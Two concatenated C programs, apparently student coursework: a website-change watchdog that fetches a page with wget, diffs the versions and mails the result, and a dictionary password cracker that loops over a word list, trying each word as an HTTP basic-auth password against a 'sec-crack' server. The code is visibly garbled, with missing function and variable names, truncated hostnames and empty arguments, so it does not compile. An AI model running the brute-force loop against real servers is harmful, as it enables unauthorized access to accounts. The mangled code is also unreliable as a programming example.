#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>

int ()
{

 FILE *fp;
 char [100];
 int flag = 0;
 system("rm index.html*");
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");
 system("mv index.html index1.html");
 sleep(8640);
 system("wget http://www.cs.rmit.edu./students/");
 system("wget -p --convert-links http://www.cs.rmit.edu./students/");

 system("diff index1.html index.html > out.txt");

 fp = fopen("out.txt","r");

 if (fgets(,100,fp) != NULL)
 {

   flag = 1;
   printf("\nThere  changes in the website.Check your mail\n");
   system("mailx -s \"output of watchdog\"  < out.txt");

 }

  if(flag == 0 )
   printf("\n    changes in the website\n ");
 fclose(fp);
 exit(1);

 }















 #include <stdio.h>
#include <stdlib.h>
#include <sys/times.h>
#include <strings.h>
#include <ctype.h>

int main()
{
  char *wordptr = " word";
  FILE *fp;
  int syst = 1;
  char string1[80], string2[50];
  strcpy(string1, "wget --http-user= --http-passwd=");
  strcpy(string2, " http://sec-crack.cs.rmit.edu./SEC/2/");
  char words[30];
  fp = fopen("words", "r");
  while(wordptr != NULL)
  {
    wordptr = fgets(words, 30, fp);
    if (wordptr == NULL) exit(1);
    words [ strlen(words) - 1 ] = '\0';
    strcat(string1, words);
    strcat(string1, string2);
    printf("\n %s \n",string1);
    syst = system(string1);
    if (syst == 0)
    {
       exit(1);
    }
    strcpy(string1, "");
    strcpy(string1, "wget --http-user= --http-passwd=");
    printf("%s", words);
    
  }
}
